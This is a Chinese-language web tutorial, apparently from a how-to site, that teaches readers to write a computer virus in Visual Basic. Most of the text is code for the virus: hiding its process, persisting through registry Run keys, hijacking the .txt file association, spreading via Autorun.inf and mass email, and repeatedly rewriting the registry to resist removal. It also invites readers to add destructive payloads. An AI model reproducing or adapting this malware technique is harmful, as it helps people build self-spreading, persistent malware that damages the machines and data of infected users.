電腦病毒制作方法
朋友們想做一些小的電腦病毒嗎,對于接觸計(jì)算機(jī)的朋友們來說,病毒已經(jīng)不在是一個(gè)陌生的東西?!∠旅嬗蓪W(xué)習(xí)啦小編給你對電腦病毒做出詳細(xì)的制作方法!希望對你有幫助!
方法如下:
病毒一般都具有傳播、隱 藏、破壞等能力。所以自從第一個(gè)病毒問世以來,它便被人們視為一種神秘的東西。但是,我們要知道。病毒也是程序,也是由人寫出來的。所以,病毒并不是什么 高不可攀的東西?,F(xiàn)在,讓我們了解一下VB制作病毒的原理。
首先,病毒是有隱藏性的。如何來實(shí)現(xiàn)病毒的隱藏是很多年來的熱點(diǎn)話題。我們先不接觸什么線程插入技術(shù)。我們要實(shí)行自我隱藏,就要用到API函數(shù)。其代碼如下:
Public Declare Function GetCurrentProcessid Lib "kernel32" () As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long)
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Sub MakeMeService()
Dim pid As Long
Dim resery As Long
pid = GetCurrentProcessid()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub
這樣就實(shí)現(xiàn)了自我隱藏。還有別的什么App.Title = ""和App.TaskVisible = False都可以用于VB病毒的隱藏。
病毒光會(huì)隱藏還不行,還要有常駐內(nèi)存的能力。說通俗點(diǎn),計(jì)算機(jī)關(guān)閉病毒也就跟著死去,而計(jì)算機(jī)重啟,病毒也要跟這復(fù)活。所以,我們接下來的任務(wù)就是:實(shí)現(xiàn)病毒的開機(jī)自啟。
了解病毒的朋友會(huì)知道,病毒一般是利用在注冊表中插入相應(yīng)鍵值來實(shí)現(xiàn)開機(jī)自啟的。所以,我們就要利用編程來實(shí)現(xiàn)著一功能。讀寫注冊表要用到API函數(shù),代碼:
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
上述是API聲明。病毒的開機(jī)自啟就是在RUN下建立一個(gè)啟動(dòng)項(xiàng),代碼:
Dim hKey As Long
Dim cc
Let cc = Len("病毒的絕對路徑")
RegCreateKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Runservices", hKey
RegSetValueEx hKey, "鍵名", 0, REG_SZ, ByVal "病毒的絕對路徑", cc
RegCloseKey hKey
以上代碼執(zhí)行后會(huì)在注冊表中加入一個(gè)病毒的啟動(dòng)項(xiàng)。
光利用開機(jī)自啟來長駐內(nèi)存也太容易被殺了。所以,我們還要想盡一切辦法來讓病毒啟動(dòng)。這里介紹的2種辦法。
第一種。修改文本文件的關(guān)聯(lián)。其代碼如下:
API聲明:
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Const HKEY_CLASSES_ROOT = &H80000000
Const REG_SZ = 1
實(shí)現(xiàn)代碼:
Dim sKeyName As String '存儲(chǔ)鍵名
Dim sKeyValue As String '存儲(chǔ)鍵值
Dim MyReturn As Long '存儲(chǔ)返回值信息
Dim keyhandle As Long
sKeyName = "Test"
sKeyValue = "Test Application"
MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)
MyReturn& = RegSetValue&(keyhandle&, "", REG_SZ, sKeyValue, 0&)
MsgBox MyReturn&
sKeyName = ".txt" '要建立關(guān)聯(lián)的文件后綴名
sKeyValue = "Test"
MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)
MyReturn& = RegSetValue&(keyhandle&, "", REG_SZ, sKeyValue, 0&)
sKeyName = "Test"
sKeyValue = "D:\病毒.exe %1" '自己程序的位置和名稱
MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)
MyReturn& = RegSetValue&(keyhandle&, "shell\open\command", REG_SZ, sKeyValue, MAX_PATH)
End Sub
以上是利用修改TXT文件關(guān)聯(lián)來實(shí)現(xiàn)病毒啟動(dòng)的。
第二種,利用Autorun.inf
光盤就是利用這個(gè)來自動(dòng)播放的,所以我就不廢話了。
實(shí)現(xiàn)代碼:
If Dir("F:\") <> "" Then Let a = App.Path + "\" + App.EXEName + ".exe"
FileCopy a, "C:\病毒.exe"
Open "Autorun.inf" For Output As #1
Print #1, "[autorun]"
Print #1, "OPEN=病毒.exe"
Close #1
這樣就實(shí)現(xiàn)了雙擊C盤啟動(dòng)病毒的作用。
下面說一下病毒的傳播,病毒的傳播可以說是八仙過海。主要的傳播方式就是電子郵件傳播,遠(yuǎn)程溢出等。
遠(yuǎn)程溢出這里不做詳解。第一是我不太熟練,只會(huì)用,不會(huì)說。第二是要講清楚很麻煩。所以,我講一下電子郵件傳播。
首先,建立一個(gè)WINSOCKE。然后利用編程來實(shí)現(xiàn)。這里只說思路。
ConnectToServer Server, Winsock1 ‘這是向服務(wù)器建立連接
SendMail FromAddress, ToAddress, Subject, Body, Winsock1, Attach ‘發(fā)送郵件
FromAddress 發(fā)件人地址
ToAddress 收件人地址
Subject 郵件標(biāo)題
Body 郵件內(nèi)容
Attach 附件地址
利用這樣的原理來群發(fā),可以達(dá)到傳播自己的目的。
還有一種就是U盤/A盤傳播,原理上面已經(jīng)說過。利用Autorun.inf文件,這里就不廢話了。
說了這么多,還剩最后一點(diǎn),那就是破壞性。這個(gè)就不詳細(xì)闡述。什么自動(dòng)關(guān)機(jī),無限增殖。大家自己發(fā)揮想象,這不是很難的事。
最后總結(jié),一個(gè)什么樣的病毒,它必須生活在特定的操作系統(tǒng)下。所以,病毒做出來后,不一定能在什么操作系統(tǒng)下都能用。還有一點(diǎn),病毒必須能自己保護(hù)自己。 這里推薦使用TIMER。利用這個(gè)部件來不斷的寫注冊表。這樣,很難刪掉病毒的啟動(dòng)鍵值。還要保護(hù)自身的增殖文件。比如:
Let a = App.Path + "\" + App.EXEName + ".exe"
If Dir("C:\Program Files\病毒.exe") <> "" Then
Else: FileCopy a, "C:\Program Files\病毒.exe"
最后,還有最重要的一點(diǎn)。那就是容錯(cuò)語句。盡量多加。以防萬一。
看了此文電腦病毒制作的人還看了:
1.電腦病毒如何制作
2.電腦病毒制作視頻
電腦病毒制作方法
上一篇:電腦病毒認(rèn)識(shí)
下一篇:電腦病毒產(chǎn)生